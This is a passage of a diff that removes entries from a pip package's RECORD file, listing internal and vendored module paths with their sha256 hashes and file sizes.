-pip/_internal/resolution/resolvelib/__pycache__/provider.cpython-314.pyc,,
-pip/_internal/resolution/resolvelib/__pycache__/reporter.cpython-314.pyc,,
-pip/_internal/resolution/resolvelib/__pycache__/requirements.cpython-314.pyc,,
-pip/_internal/resolution/resolvelib/__pycache__/resolver.cpython-314.pyc,,
-pip/_internal/resolution/resolvelib/base.py,sha256=fo7ojoQtgjmQH5ca3VyKJAO3p5sHnihMDw79Z8_31-U,5900
-pip/_internal/resolution/resolvelib/candidates.py,sha256=SEkpEH6T6zl7Ve7Dw9oIS6tnREj-1U_q4U-2xEH0ISc,20848
-pip/_internal/resolution/resolvelib/factory.py,sha256=rqwnD4GWEdVgG7nGP6OGj493yiGW6jZr0cW_msMOK_U,36162
-pip/_internal/resolution/resolvelib/found_candidates.py,sha256=F55YtXekKUbVwphlXska01LkdTGVgx1qONlLK7BX-HM,6005
-pip/_internal/resolution/resolvelib/provider.py,sha256=Nkx4A16MOAxjCj9jFm8wmlMk5cbWh1YK2-UYWTKEJCw,12310
-pip/_internal/resolution/resolvelib/reporter.py,sha256=tEC7MF8IqGU4Ww9t61YVfNFKtoaQpb6-AwLZptJz1VE,3918
-pip/_internal/resolution/resolvelib/requirements.py,sha256=Izl9n8nc188lA1BSPS8QxfudfDQPHgngw-ij6hXt0nQ,8239
-pip/_internal/resolution/resolvelib/resolver.py,sha256=wM3CcRTYPdjnQ1ai3YP6htFmkE32o1xx2RgjU-ykAjc,13849
-pip/_internal/self_outdated_check.py,sha256=9XxOXPqsZlKceTP2tZS7I7rXjodnqd3GrIQ8U0_L8BM,8097
-pip/_internal/utils/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
-pip/_internal/utils/__pycache__/__init__.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/_jaraco_text.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/_log.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/appdirs.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/compat.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/compatibility_tags.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/datetime.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/deprecation.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/direct_url_helpers.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/egg_link.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/entrypoints.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/filesystem.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/filetypes.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/glibc.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/hashes.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/logging.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/misc.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/packaging.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/pylock.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/retry.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/subprocess.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/temp_dir.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/unpacking.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/urls.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/virtualenv.cpython-314.pyc,,
-pip/_internal/utils/__pycache__/wheel.cpython-314.pyc,,
-pip/_internal/utils/_jaraco_text.py,sha256=M15uUPIh5NpP1tdUGBxRau6q1ZAEtI8-XyLEETscFfE,3350
-pip/_internal/utils/_log.py,sha256=-jHLOE_THaZz5BFcCnoSL9EYAtJ0nXem49s9of4jvKw,1015
-pip/_internal/utils/appdirs.py,sha256=LrzDPZMKVh0rubtCx9vu3XlZbLCSug6VSj4Qsvt66BA,1681
-pip/_internal/utils/compat.py,sha256=i2JUZXGrqP-ZoD8t4gwckBA3KYNUWCluvRDXScts5fE,2601
-pip/_internal/utils/compatibility_tags.py,sha256=DiNSLqpuruXUamGQwOJ2WZByDGLTGaXi9O-Xf8fOi34,6630
-pip/_internal/utils/datetime.py,sha256=kuJOf1mW8G5tRFN6jWardddS-9qSaR53lK1jmx3NTZY,868
-pip/_internal/utils/deprecation.py,sha256=IQFumZa-XWJ3UoPnX4duwbf79CTzOZD_Vk1PkivAu4g,4537
-pip/_internal/utils/direct_url_helpers.py,sha256=WCCPJnmoPHz7kiYePrEcVAen2lDpCT9WQVImoHHWCO8,3363
-pip/_internal/utils/egg_link.py,sha256=YWfsrbmfcrfWgqQYy6OuIjsyb9IfL1q_2v4zsms1WjI,2459
-pip/_internal/utils/entrypoints.py,sha256=uPjAyShKObdotjQjJUzprQ6r3xQvDIZwUYfHHqZ7Dok,3324
-pip/_internal/utils/filesystem.py,sha256=gig73bOOS1NnDB94EDDvdDnHjQoeRz_TlfQPiCV7Me0,6812
-pip/_internal/utils/filetypes.py,sha256=sEMa38qaqjvx1Zid3OCAUja31BOBU-USuSMPBvU3yjo,689
-pip/_internal/utils/glibc.py,sha256=sEh8RJJLYSdRvTqAO4THVPPA-YSDVLD4SI9So-bxX1U,3726
-pip/_internal/utils/hashes.py,sha256=38-bCOJSHippQ7r9RttrMHxb2mv3EARt1Gw8kFmW73g,5040
-pip/_internal/utils/logging.py,sha256=hGTjBuIjNZxydV6vs4woxAbhkHI8L-9uCO14OCvPlA8,13919
-pip/_internal/utils/misc.py,sha256=28LWQFvFWmrpJqMcV0soif1xnl3_gb25B3gG_iU5zhM,25408
-pip/_internal/utils/packaging.py,sha256=s5tpUmFumwV0H9JSTzryrIY4JwQM8paGt7Sm7eNwt2Y,1601
-pip/_internal/utils/pylock.py,sha256=XQTZ1ggh7yfpHfRdbvjSAe1peOtg2Z2xFrUeZ7wl4Ts,10290
-pip/_internal/utils/retry.py,sha256=oOK3VGgKRKxSkXDPARf73cnQS3hDtnE9-feAg4AlNZE,1488
-pip/_internal/utils/subprocess.py,sha256=nqNz2p3G4QANCCBcaJkqIQvQUYA50TwjZnoYjiyPxs8,9001
-pip/_internal/utils/temp_dir.py,sha256=TDiL9BzEp2eHalQLH0rhyM3m2xuydEg9c6t1h4bT5l8,9303
-pip/_internal/utils/unpacking.py,sha256=5i9Sn__SNElhoCXnLt2SvQaQ-SnTzcUaDH1_JI1THUw,14789
-pip/_internal/utils/urls.py,sha256=JQWrRAoXHBpPsY9Aij61bsZjMQLCcuyrUO1R6W_BwIo,1647
-pip/_internal/utils/virtualenv.py,sha256=9od4LsceDynUSsLTEXXgtumlUQ8VvKp86b2xzK0Yu3g,2272
-pip/_internal/utils/wheel.py,sha256=YdRuj6MicG-Q9Mg03FbUv1WTLam6Lc7AgijY4voVyis,4468
-pip/_internal/vcs/__init__.py,sha256=UAqvzpbi0VbZo3Ub6skEeZAw-ooIZR-zX_WpCbxyCoU,596
-pip/_internal/vcs/__pycache__/__init__.cpython-314.pyc,,
-pip/_internal/vcs/__pycache__/bazaar.cpython-314.pyc,,
-pip/_internal/vcs/__pycache__/git.cpython-314.pyc,,
-pip/_internal/vcs/__pycache__/mercurial.cpython-314.pyc,,
-pip/_internal/vcs/__pycache__/subversion.cpython-314.pyc,,
-pip/_internal/vcs/__pycache__/versioncontrol.cpython-314.pyc,,
-pip/_internal/vcs/bazaar.py,sha256=3W1eHjkYx2vc6boeb2NBh4I_rlGAXM-vrzfNhLm1Rxg,3734
-pip/_internal/vcs/git.py,sha256=L52rqJN--Kq0kjAR8_9Si8RJEcNlULJdk6Vipg8ZlfA,19273
-pip/_internal/vcs/mercurial.py,sha256=w1ZJWLKqNP1onEjkfjlwBVnMqPZNSIER8ayjQcnTq4w,5575
-pip/_internal/vcs/subversion.py,sha256=uUgdPvxmvEB8Qwtjr0Hc0XgFjbiNi5cbvI4vARLOJXo,11787
-pip/_internal/vcs/versioncontrol.py,sha256=JsUgTG53DkJPy5mXVBH7uqeFQyaL69707ibts5uCBYA,22579
-pip/_internal/wheel_builder.py,sha256=kdPvAcxfknA8B_4g6hPDjB7C4uzL_cV5Vde2Oj2Ipzk,9146
-pip/_vendor/README.rst,sha256=t7IinjaiuwUh812XmVApQHJb8pTw33U8A9URqy6GlF4,9222
-pip/_vendor/__init__.py,sha256=WzusPTGWIMeQQWSVJ0h2rafGkVTa9WKJ2HT-2-EoZrU,4907
-pip/_vendor/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/bom.cdx.json,sha256=eX4gCqf_8W-tn7Le6uzlCisr7GI-tsN1kXbu5s7hkyg,5319
-pip/_vendor/cachecontrol/LICENSE.txt,sha256=hu7uh74qQ_P_H1ZJb0UfaSQ5JvAl_tuwM2ZsMExMFhs,558
-pip/_vendor/cachecontrol/__init__.py,sha256=GxwRkm_TQBtPZpfpVK9r6S9dAy2DVnVgDVHJKTiPZ1k,820
-pip/_vendor/cachecontrol/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/cachecontrol/__pycache__/_cmd.cpython-314.pyc,,
-pip/_vendor/cachecontrol/__pycache__/adapter.cpython-314.pyc,,
-pip/_vendor/cachecontrol/__pycache__/cache.cpython-314.pyc,,
-pip/_vendor/cachecontrol/__pycache__/controller.cpython-314.pyc,,
-pip/_vendor/cachecontrol/__pycache__/filewrapper.cpython-314.pyc,,
-pip/_vendor/cachecontrol/__pycache__/heuristics.cpython-314.pyc,,
-pip/_vendor/cachecontrol/__pycache__/serialize.cpython-314.pyc,,
-pip/_vendor/cachecontrol/__pycache__/wrapper.cpython-314.pyc,,
-pip/_vendor/cachecontrol/_cmd.py,sha256=iist2EpzJvDVIhMAxXq8iFnTBsiZAd6iplxfmNboNyk,1737
-pip/_vendor/cachecontrol/adapter.py,sha256=W-HW-l01gyCsnxkOyCbqx7sxrWYoBbKrDsKkVVQN6NE,6586
-pip/_vendor/cachecontrol/cache.py,sha256=OXwv7Fn2AwnKNiahJHnjtvaKLndvVLv_-zO-ltlV9qI,1953
-pip/_vendor/cachecontrol/caches/__init__.py,sha256=dtrrroK5BnADR1GWjCZ19aZ0tFsMfvFBtLQQU1sp_ag,303
-pip/_vendor/cachecontrol/caches/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/cachecontrol/caches/__pycache__/file_cache.cpython-314.pyc,,
-pip/_vendor/cachecontrol/caches/__pycache__/redis_cache.cpython-314.pyc,,
-pip/_vendor/cachecontrol/caches/file_cache.py,sha256=d8upFmy_zwaCmlbWEVBlLXFddt8Zw8c5SFpxeOZsdfw,4117
-pip/_vendor/cachecontrol/caches/redis_cache.py,sha256=9rmqwtYu_ljVkW6_oLqbC7EaX_a8YT_yLuna-eS0dgo,1386
-pip/_vendor/cachecontrol/controller.py,sha256=xBauC-vUSu5GsJsxD4-W-JaKqqbBz0MN6Zv8PA2N8hI,19102
-pip/_vendor/cachecontrol/filewrapper.py,sha256=DhxC_rSk-beKdbsYhfvBUDovQHX9r3gHH_jP9-q_mKk,4354
-pip/_vendor/cachecontrol/heuristics.py,sha256=gqMXU8w0gQuEQiSdu3Yg-0vd9kW7nrWKbLca75rheGE,4881
-pip/_vendor/cachecontrol/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
-pip/_vendor/cachecontrol/serialize.py,sha256=HQd2IllQ05HzPkVLMXTF2uX5mjEQjDBkxCqUJUODpZk,5163
-pip/_vendor/cachecontrol/wrapper.py,sha256=hsGc7g8QGQTT-4f8tgz3AM5qwScg6FO0BSdLSRdEvpU,1417
-pip/_vendor/certifi/LICENSE,sha256=6TcW2mucDVpKHfYP5pWzcPBpVgPSH2-D8FPkLPwQyvc,989
-pip/_vendor/certifi/__init__.py,sha256=-W1R_y8WCaSkT1tdjuxH_zTBZY1YH6xQgdN1nbBajOE,94
-pip/_vendor/certifi/__main__.py,sha256=1k3Cr95vCxxGRGDljrW3wMdpZdL3Nhf0u1n-k2qdsCY,255
-pip/_vendor/certifi/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/certifi/__pycache__/__main__.cpython-314.pyc,,
-pip/_vendor/certifi/__pycache__/core.cpython-314.pyc,,
-pip/_vendor/certifi/cacert.pem,sha256=u8fpwB11UbuKFZtd7dmJuO484QWv9SK2jrGwG_hUyrA,234354
-pip/_vendor/certifi/core.py,sha256=gu_ECVI1m3Rq0ytpsNE61hgQGcKaOAt9Rs9G8KsTCOI,3442
-pip/_vendor/certifi/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
-pip/_vendor/distlib/LICENSE.txt,sha256=gI4QyKarjesUn_mz-xn0R6gICUYG1xKpylf-rTVSWZ0,14531
-pip/_vendor/distlib/__init__.py,sha256=tmYThB1xmgfRjRtyy8YP0i0ymrF2n6eVswcwK6OYbcc,625
-pip/_vendor/distlib/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/distlib/__pycache__/compat.cpython-314.pyc,,
-pip/_vendor/distlib/__pycache__/resources.cpython-314.pyc,,
-pip/_vendor/distlib/__pycache__/scripts.cpython-314.pyc,,
-pip/_vendor/distlib/__pycache__/util.cpython-314.pyc,,
-pip/_vendor/distlib/compat.py,sha256=HTzhOY98c_fyMVE7xtVuZZ-AVkN4-RGes-hWmvuwquk,40605
-pip/_vendor/distlib/resources.py,sha256=wZt_Ako8TY-L6ZIAmP42J7MNX0XTEF6gkM0Om5F7UPY,11350
-pip/_vendor/distlib/scripts.py,sha256=rVm4A-YfGQDpsORwOy7AwepyRTayuy6rc-MnaCMBAcM,18835
-pip/_vendor/distlib/t32.exe,sha256=a0GV5kCoWsMutvliiCKmIgV98eRZ33wXoS-XrqvJQVs,97792
-pip/_vendor/distlib/t64-arm.exe,sha256=68TAa32V504xVBnufojh0PcenpR3U4wAqTqf-MZqbPw,182784
-pip/_vendor/distlib/t64.exe,sha256=gaYY8hy4fbkHYTTnA4i26ct8IQZzkBG2pRdy0iyuBrc,108032
-pip/_vendor/distlib/util.py,sha256=n2QDXvB0XtwrtehygnwdLgLkLia58sZjzgZPKyD6rAE,68167
-pip/_vendor/distlib/w32.exe,sha256=R4csx3-OGM9kL4aPIzQKRo5TfmRSHZo6QWyLhDhNBks,91648
-pip/_vendor/distlib/w64-arm.exe,sha256=xdyYhKj0WDcVUOCb05blQYvzdYIKMbmJn2SZvzkcey4,168448
-pip/_vendor/distlib/w64.exe,sha256=ejGf-rojoBfXseGLpya6bFTFPWRG21X5KvU8J5iU-K0,101888
-pip/_vendor/distro/LICENSE,sha256=y16Ofl9KOYjhBjwULGDcLfdWBfTEZRXnduOspt-XbhQ,11325
-pip/_vendor/distro/__init__.py,sha256=2fHjF-SfgPvjyNZ1iHh_wjqWdR_Yo5ODHwZC0jLBPhc,981
-pip/_vendor/distro/__main__.py,sha256=bu9d3TifoKciZFcqRBuygV3GSuThnVD_m2IK4cz96Vs,64
-pip/_vendor/distro/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/distro/__pycache__/__main__.cpython-314.pyc,,
-pip/_vendor/distro/__pycache__/distro.cpython-314.pyc,,
-pip/_vendor/distro/distro.py,sha256=XqbefacAhDT4zr_trnbA15eY8vdK4GTghgmvUGrEM_4,49430
-pip/_vendor/distro/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
-pip/_vendor/idna/LICENSE.md,sha256=GppPDj1HmickDd1ZqRN6ZqtKD539yMphiMwL_YUYfwQ,1541
-pip/_vendor/idna/__init__.py,sha256=MPqNDLZbXqGaNdXxAFhiqFPKEQXju2jNQhCey6-5eJM,868
-pip/_vendor/idna/__main__.py,sha256=4JMK66Wj4uLZTKbF-sT3LAxOsr6buig77PmOkJCRRxw,83
-pip/_vendor/idna/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/idna/__pycache__/__main__.cpython-314.pyc,,
-pip/_vendor/idna/__pycache__/cli.cpython-314.pyc,,
-pip/_vendor/idna/__pycache__/codec.cpython-314.pyc,,
-pip/_vendor/idna/__pycache__/compat.cpython-314.pyc,,
-pip/_vendor/idna/__pycache__/core.cpython-314.pyc,,
-pip/_vendor/idna/__pycache__/idnadata.cpython-314.pyc,,
-pip/_vendor/idna/__pycache__/intranges.cpython-314.pyc,,
-pip/_vendor/idna/__pycache__/package_data.cpython-314.pyc,,
-pip/_vendor/idna/__pycache__/uts46data.cpython-314.pyc,,
-pip/_vendor/idna/cli.py,sha256=swqJLMNc8Uzs60KziNpbWnHuqlG3WRQwJSbo4n8xDAo,4139
-pip/_vendor/idna/codec.py,sha256=JRbo-f7pEkLdWeiH89Z72UR4VBYhvKDFrQBeNX6sRDE,5040
-pip/_vendor/idna/compat.py,sha256=AepA39ceRHxkfHP41-FvKW5Ki-f4PfUZ90RUMlCNdmo,1353
-pip/_vendor/idna/core.py,sha256=SfOr1xO3PoE0RDYx7bMciAnjiyjJPbPw_93AB5IUYOw,24685
-pip/_vendor/idna/idnadata.py,sha256=Af-mo8WBmkhAK6TyXKOQH88OX0mQNDKtdL7UWtQpppk,44862
-pip/_vendor/idna/intranges.py,sha256=g49scLSkqJtAhLmOODa7hVHriSjmb60tiTsEoocJdBI,1851
-pip/_vendor/idna/package_data.py,sha256=TeI94EqAFAFaXfBJwsOPUMLn2969uirPa-DaeaceAyU,21
-pip/_vendor/idna/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
-pip/_vendor/idna/uts46data.py,sha256=jujNz5QqWMcJf-XYLv4X1jBvb5FlI0t6-e1mILsgbPk,234325
-pip/_vendor/msgpack/COPYING,sha256=SS3tuoXaWHL3jmCRvNH-pHTWYNNay03ulkuKqz8AdCc,614
-pip/_vendor/msgpack/__init__.py,sha256=RA8gcqK17YpkxBnNwXJVa1oa2LygWDgfF1nA1NPw3mo,1109
-pip/_vendor/msgpack/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/msgpack/__pycache__/exceptions.cpython-314.pyc,,
-pip/_vendor/msgpack/__pycache__/ext.cpython-314.pyc,,
-pip/_vendor/msgpack/__pycache__/fallback.cpython-314.pyc,,
-pip/_vendor/msgpack/exceptions.py,sha256=dCTWei8dpkrMsQDcjQk74ATl9HsIBH0ybt8zOPNqMYc,1081
-pip/_vendor/msgpack/ext.py,sha256=kteJv03n9tYzd5oo3xYopVTo4vRaAxonBQQJhXohZZo,5726
-pip/_vendor/msgpack/fallback.py,sha256=0g1Pzp0vtmBEmJ5w9F3s_-JMVURP8RS4G1cc5TRaAsI,32390
-pip/_vendor/packaging/LICENSE,sha256=ytHvW9NA1z4HS6YU0m996spceUDD2MNIUuZcSQlobEg,197
-pip/_vendor/packaging/LICENSE.APACHE,sha256=DVQuDIgE45qn836wDaWnYhSdxoLXgpRRKH4RuTjpRZQ,10174
-pip/_vendor/packaging/LICENSE.BSD,sha256=tw5-m3QvHMb5SLNMFqo5_-zpQZY2S8iP8NIYDwAo-sU,1344
-pip/_vendor/packaging/__init__.py,sha256=QhMEdPu2XogrJzV3S0KWS6t7l0I9k8EeDRJl4fnw87s,494
-pip/_vendor/packaging/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/packaging/__pycache__/_elffile.cpython-314.pyc,,
-pip/_vendor/packaging/__pycache__/_manylinux.cpython-314.pyc,,
-pip/_vendor/packaging/__pycache__/_musllinux.cpython-314.pyc,,
-pip/_vendor/packaging/__pycache__/_parser.cpython-314.pyc,,
-pip/_vendor/packaging/__pycache__/_structures.cpython-314.pyc,,
-pip/_vendor/packaging/__pycache__/_tokenizer.cpython-314.pyc,,
-pip/_vendor/packaging/__pycache__/dependency_groups.cpython-314.pyc,,
-pip/_vendor/packaging/__pycache__/direct_url.cpython-314.pyc,,
-pip/_vendor/packaging/__pycache__/errors.cpython-314.pyc,,
-pip/_vendor/packaging/__pycache__/markers.cpython-314.pyc,,
-pip/_vendor/packaging/__pycache__/metadata.cpython-314.pyc,,
-pip/_vendor/packaging/__pycache__/pylock.cpython-314.pyc,,
-pip/_vendor/packaging/__pycache__/requirements.cpython-314.pyc,,
-pip/_vendor/packaging/__pycache__/specifiers.cpython-314.pyc,,
-pip/_vendor/packaging/__pycache__/tags.cpython-314.pyc,,
-pip/_vendor/packaging/__pycache__/utils.cpython-314.pyc,,
-pip/_vendor/packaging/__pycache__/version.cpython-314.pyc,,
-pip/_vendor/packaging/_elffile.py,sha256=-sKkptYqzYw2-x3QByJa5mB4rfPWu1pxkZHRx1WAFCY,3211
-pip/_vendor/packaging/_manylinux.py,sha256=Hf6nB0cOrayEs96-p3oIXAgGnFquv20DO5l-o2_Xnv0,9559
-pip/_vendor/packaging/_musllinux.py,sha256=Z6swjH3MA7XS3qXnmMN7QPhqP3fnoYI0eQ18e9-HgAE,2707
-pip/_vendor/packaging/_parser.py,sha256=Kf2nsDw4c54X82pY8ba4F02Bve6OygGMAjL-Begqcew,11698
-pip/_vendor/packaging/_structures.py,sha256=60jRbF78p8z5MKnNd6cAprgOadCJHV0DlmUmRBqFZcs,1109
-pip/_vendor/packaging/_tokenizer.py,sha256=tFU2Wr-ZZJdAbkXLEJo7qUQDJaIkfft9DqaifiEND7A,5391
-pip/_vendor/packaging/dependency_groups.py,sha256=XZIAVFK9uHG4RCGprmJn3VInUWMesxha_kytJuMO9eY,10218
-pip/_vendor/packaging/direct_url.py,sha256=eKmbDiPP1sLV4Mj_kCSZqqknrIyVO9Sr7JpF8KCjp4U,10917
-pip/_vendor/packaging/errors.py,sha256=6hfEYXAf8v_IF65-lFadJOMIieBP2xIKtyEXjG1nGIs,2680
-pip/_vendor/packaging/licenses/__init__.py,sha256=_Jx0XRiD_58palsWnyLrLuh59ZpGCPIPXLKdZo9OJvQ,7293
-pip/_vendor/packaging/licenses/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/packaging/licenses/__pycache__/_spdx.cpython-314.pyc,,
-pip/_vendor/packaging/licenses/_spdx.py,sha256=WW7DXiyg68up_YND_wpRYlr1SHhiV4FfJLQffghhMxQ,51122
-pip/_vendor/packaging/markers.py,sha256=QixBVcb9D2HjwEYiuhpNkbqk9znPRbU8zNX0kR1RIrU,17067
-pip/_vendor/packaging/metadata.py,sha256=crAh0E3GVGVqPlu6EdRFsaG-Y6UYznTUqjuGKRGPv6c,38770
-pip/_vendor/packaging/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
-pip/_vendor/packaging/pylock.py,sha256=G_1gncTmDbRLY1jo4VDI9Uw-b5IErh_Q9V_BbVJTmD8,33890
-pip/_vendor/packaging/requirements.py,sha256=Q-BdEHVW5K785GBXt7RcP4UEsdIKWoWFqlrHjR4WV50,4395
-pip/_vendor/packaging/specifiers.py,sha256=3XBcSslm-YQEEEO_zrv4F6dR5wRxs4ErJvJ0vjNBfGM,71550
-pip/_vendor/packaging/tags.py,sha256=ANYHZxYQVp9BlOQYOHU5ArDNVIpTFl4KlbocYVBWnFs,34236
-pip/_vendor/packaging/utils.py,sha256=M7-JMKic2sP1YtV_8aW7eVGB-x3ADuKCiSrsVeCd2Uo,9848
-pip/_vendor/packaging/version.py,sha256=Mcu7Tf6Y1i0gQ4FXv4t0g8cbL5joAEshjgIpz_2vISI,38393
-pip/_vendor/pkg_resources/LICENSE,sha256=htoPAa6uRjSKPD1GUZXcHOzN55956HdppkuNoEsqR0E,1023
-pip/_vendor/pkg_resources/__init__.py,sha256=vbTJ0_ruUgGxQjlEqsruFmiNPVyh2t9q-zyTDT053xI,124451
-pip/_vendor/pkg_resources/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/platformdirs/LICENSE,sha256=KeD9YukphQ6G6yjD_czwzv30-pSHkBHP-z0NS-1tTbY,1089
-pip/_vendor/platformdirs/__init__.py,sha256=gBmL_J_KdPgKiwM3dHCo-y-8CbS06QCa1XIhJ9bIgew,32389
-pip/_vendor/platformdirs/__main__.py,sha256=DQ1o1E1l0Ghuitj4uQJKAPwkcKbGzkzO0sbhzd9RbUc,1773
-pip/_vendor/platformdirs/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/platformdirs/__pycache__/__main__.cpython-314.pyc,,
-pip/_vendor/platformdirs/__pycache__/_xdg.cpython-314.pyc,,
-pip/_vendor/platformdirs/__pycache__/android.cpython-314.pyc,,
-pip/_vendor/platformdirs/__pycache__/api.cpython-314.pyc,,
-pip/_vendor/platformdirs/__pycache__/macos.cpython-314.pyc,,
-pip/_vendor/platformdirs/__pycache__/unix.cpython-314.pyc,,
-pip/_vendor/platformdirs/__pycache__/version.cpython-314.pyc,,
-pip/_vendor/platformdirs/__pycache__/windows.cpython-314.pyc,,
-pip/_vendor/platformdirs/_xdg.py,sha256=5w6S07vVabEROhaUB_X7i0hmLNbdYtC9aEvPbsEIS8M,7894
-pip/_vendor/platformdirs/android.py,sha256=BBj3wfw-dfuVxsCsKsvFByKVspRDgfv8gwIzhpE1JRQ,11566
-pip/_vendor/platformdirs/api.py,sha256=EaIsFgXGu8cDTb41WM3hse_SrIoOUht8_TCo5XdOOSM,14887
-pip/_vendor/platformdirs/macos.py,sha256=PWudeDZAY9UuwLP_5rN3exSRFtYdY542hDhjah4dSWA,9538
-pip/_vendor/platformdirs/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
-pip/_vendor/platformdirs/unix.py,sha256=X7Cip1xOHFOnSVveqKWzU1P7jn4zuDGpRgmVxJnk4vk,13317
-pip/_vendor/platformdirs/version.py,sha256=dJvdm7L_7wobEcxrNoJtH7CtmYcG_VR5yNmtBshJ-xs,522
-pip/_vendor/platformdirs/windows.py,sha256=YOdSGNhdpxm_ydZq7uG74i9mX2_WWbcMSA4fobXwL0M,15798
-pip/_vendor/pygments/LICENSE,sha256=qdZvHVJt8C4p3Oc0NtNOVuhjL0bCdbvf_HBWnogvnxc,1331
-pip/_vendor/pygments/__init__.py,sha256=Xnd_7fJUqU_6D0bxXW0qS9M_OE9G6VW8YNPbGLWoKwQ,2986
-pip/_vendor/pygments/__main__.py,sha256=IqAQ_836Kv2CTx8r6Ie6duRQuYSPl85sbYomEwIsY14,356
-pip/_vendor/pygments/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/pygments/__pycache__/__main__.cpython-314.pyc,,
-pip/_vendor/pygments/__pycache__/console.cpython-314.pyc,,
-pip/_vendor/pygments/__pycache__/filter.cpython-314.pyc,,
-pip/_vendor/pygments/__pycache__/formatter.cpython-314.pyc,,
-pip/_vendor/pygments/__pycache__/lexer.cpython-314.pyc,,
-pip/_vendor/pygments/__pycache__/modeline.cpython-314.pyc,,
-pip/_vendor/pygments/__pycache__/plugin.cpython-314.pyc,,
-pip/_vendor/pygments/__pycache__/regexopt.cpython-314.pyc,,
-pip/_vendor/pygments/__pycache__/scanner.cpython-314.pyc,,
-pip/_vendor/pygments/__pycache__/sphinxext.cpython-314.pyc,,
-pip/_vendor/pygments/__pycache__/style.cpython-314.pyc,,
-pip/_vendor/pygments/__pycache__/token.cpython-314.pyc,,
-pip/_vendor/pygments/__pycache__/unistring.cpython-314.pyc,,
-pip/_vendor/pygments/__pycache__/util.cpython-314.pyc,,
-pip/_vendor/pygments/console.py,sha256=C189JAwhC1Qh0AKgshzb1wVDzFqBnv1VZ45kTEDIO30,1721
-pip/_vendor/pygments/filter.py,sha256=1dnbkq2AdC3AkHt3DaXwnOkTBLChl1kR6naSLwnr_tc,1913
-pip/_vendor/pygments/filters/__init__.py,sha256=Prd6xUK_7kw0rQv_OXPY3871RzwtWKGp_g7SddYHBXg,40397
-pip/_vendor/pygments/filters/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/pygments/formatter.py,sha256=EuAXPX6c3XQkCt3lD0VhSPSZByG7YQk8HrCwxlf-CZQ,4393
-pip/_vendor/pygments/formatters/__init__.py,sha256=EYLDCIgBHL_DkuhNRQZlHpS2_UE5-MfsGL1hMcOa95w,5388
-pip/_vendor/pygments/formatters/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/pygments/formatters/__pycache__/_mapping.cpython-314.pyc,,
-pip/_vendor/pygments/formatters/_mapping.py,sha256=1Cw37FuQlNacnxRKmtlPX4nyLoX9_ttko5ZwscNUZZ4,4176
-pip/_vendor/pygments/lexer.py,sha256=wSXDzt2fNZJSrlfdIfnKVlheRpFkszkPmgwBJevbBNo,35394
-pip/_vendor/pygments/lexers/__init__.py,sha256=s8I_tVlotrM8cFTGlnjw45UY5sj5jhDwdQzOOjhzgNg,12118
-pip/_vendor/pygments/lexers/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/pygments/lexers/__pycache__/_mapping.cpython-314.pyc,,
-pip/_vendor/pygments/lexers/__pycache__/python.cpython-314.pyc,,
-pip/_vendor/pygments/lexers/_mapping.py,sha256=wGAYjOBprDVZA01eocwcLJ6L8biM9rP2jxwr1bQJ96M,77934
-pip/_vendor/pygments/lexers/python.py,sha256=TqyfQOPhCYPx35apQL65CAj9k-4BxuzLq8MDfdm2jvE,54250
-pip/_vendor/pygments/modeline.py,sha256=me8g5rySidvPtMBOrDy2O1sMqZd02lBHMY5KDZefUws,1008
-pip/_vendor/pygments/plugin.py,sha256=P6zIw-vkSQ0k1WKHrzbBTjpwlCZPbR-6Qe_dO9Bjdu0,1928
-pip/_vendor/pygments/regexopt.py,sha256=d2hTvazlow5zzZIOCVnfeEG2CY0GrY_igH1kCSSf7ow,3308
-pip/_vendor/pygments/scanner.py,sha256=DtoLi1pOKpNu-6jiakJpSQLUi_ep29SQQhv7oAwYWME,3095
-pip/_vendor/pygments/sphinxext.py,sha256=RflpnfXB4rZLYyZ-OQ_igntVOlB8jG42xFYgEVIyHf8,7984
